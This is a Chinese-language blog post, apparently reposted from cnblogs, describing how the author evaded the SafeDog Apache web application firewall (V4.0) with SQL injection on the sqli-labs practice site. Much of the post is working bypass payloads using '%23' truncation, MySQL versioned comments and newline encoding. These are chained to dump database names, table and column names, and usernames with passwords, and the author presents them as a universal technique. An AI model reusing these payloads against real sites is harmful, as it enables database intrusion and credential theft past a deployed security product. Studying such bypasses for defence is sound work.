前言
在記憶里上次繞安全狗還是在上次,開開心心把自己之前繞過狗的payload拿出來,發現全部被攔截了,事情一下子就嚴肅起來了,這就開整,
環境
本次環境如下sqli-lab的sql注入靶場
網站安全狗APACHE版V4.0版本的最高防護等級
繞過方法
首先先來分析分析以前以前繞過的Payload
-1' union/*!10440*/select 1,2,3--+
其中這里的10440數字經過fuzz可以替換的有如下
10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
但是在更新后的安全狗后這些payload已經全部被攔截
到這就不得不提提安全狗之前的匹配規則了,我們單獨union不會被攔截
單獨select也不會被攔截
但是union和select放一起組合就會被匹配出來,然后被安全狗所攔截
基于這個特性,我們利用之前的payload
-1' union/*!10440*/select 1,2,3--+
是可以繞過老版本的安全狗的,這里在union和select中間加入了一個/\*!10440\*/,眾所周知在mysql中/\*!...\*/不是注釋,mysql為了保持兼容,它把一些特有的僅在mysql上用的陳述句放在/\*!...\*/中,這樣這些陳述句如果在其他資料庫中是不會被執行,但在mysql中它會執行
所以union/\*!10440\*/select等價于union select,且繞過了安全狗對union和select字符一起組合的檢測
但是安全狗更新之后,所有的payload都已經失效,那么我們猜測一下,安全狗更新后是不是匹配union和select之間所有的字符,匹配到之后用空字符替換,再檢測是否存在union select組合,為了驗證這個猜測我們對我們的payload進行fuzz驗證一下
跑了一些特殊的字符發現都被攔截
但是唯獨有一個符號沒有被回傳的length長度不一樣
按我們看看這個'#'會擦出什么愛情的火花
我們利用如下陳述句
?id=-1' union/*!test01#test02*/select 1,2,3--+
此處我們搞清楚一個流程,我們的陳述句發送過去,首先接收安全狗檢測,安全狗檢測到'#'號,所以'\#'后面的都會被截斷拋棄,所以安全狗只能匹配到'\#'前的union,但是沒匹配到'\#'后的select,所以通過安全狗,在通過安全狗后我們的陳述句被資料庫接收,資料庫此處處理程序和安全狗處理流程一樣,都是只能匹配到'\#'前的union,但是沒匹配到'\#'后的select,最終導致陳述句不完整導致最后的報錯,
說到這里我們究竟要怎么去繞過這個可惡的安全狗呢,我們想象這么一個場景,首先我們的'\#'被安全狗識別,但是在我們的SQL陳述句中并不識別這個'\#',這樣我們就可以達到繞過安全狗而且保持正確的SQL陳述句來實作我么的注入,
我們來看下下面兩陳述句
SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;
此處SELECT * FROM number WHERE home_id =1 LIKE "[%23]";查出來一個空表
所以SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;相當于select * FROM number;
該陳述句是存在一個LIKE "[%23]",也正是這個LIKE "[%23]"讓我們的SELECT * FROM number WHERE home_id =1成為一個空表,
那么這個陳述句有什么用的,可以發現我們的LIKE "[%23]"中有一個%23,眾所周知\#的url編碼是%23,那么這條陳述句帶入到安全狗中,安全狗會不會識別這個\#呢,帶著這樣的猜想我們構造如下payload,
-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
嗚嗚嗚,還是被攔截了,吹牛逼吹了這么久,白吹了,
但是我這種陽光、帥氣、善解人意且堅持不懈的小伙子會這么容易就放棄嗎,顯然不會,后面猜測是/\*!10440union select\*/中的union select被檢測出來了,所以在union select中間下了點功夫,最終payload如下
-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
奈何無文化,一句臥槽走天下,
最后總結下安全狗的檢測機制
首先整體陳述句做一個檢測,這個檢測也是最強最牛X的
'\#'后的陳述句雖然被截斷,但截斷之后并不是和我們最初想的那樣完全不檢測,'\#'截斷的陳述句還是會被檢測,只是檢測規則相比第一次不同且相比第一次檢測強度相比較弱,所以我們可以對其進行繞過,
當然除了like關鍵字,我們還可以使用如下payload
-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+
知道了這個特性接下來就,那就用這一招打過天下無敵手
爆資料庫名和用戶名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+
爆表名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+
爆欄位
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+
爆欄位中的值
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+
總結
1、行內yyds
2、在一些被攔截的地方多用/\*%23\*/和/\*!10440%0a\*/,有奇效,
__EOF__
作者: 隨風kali 本文鏈接: https://www.cnblogs.com/sfsec/p/15939714.html
著作權宣告: 本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
聲援博主: 如果您覺得文章對您有幫助,可以點擊文章右下角【推薦】一下,您的鼓勵是博主的最大動力!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/433286.html
標籤:其他
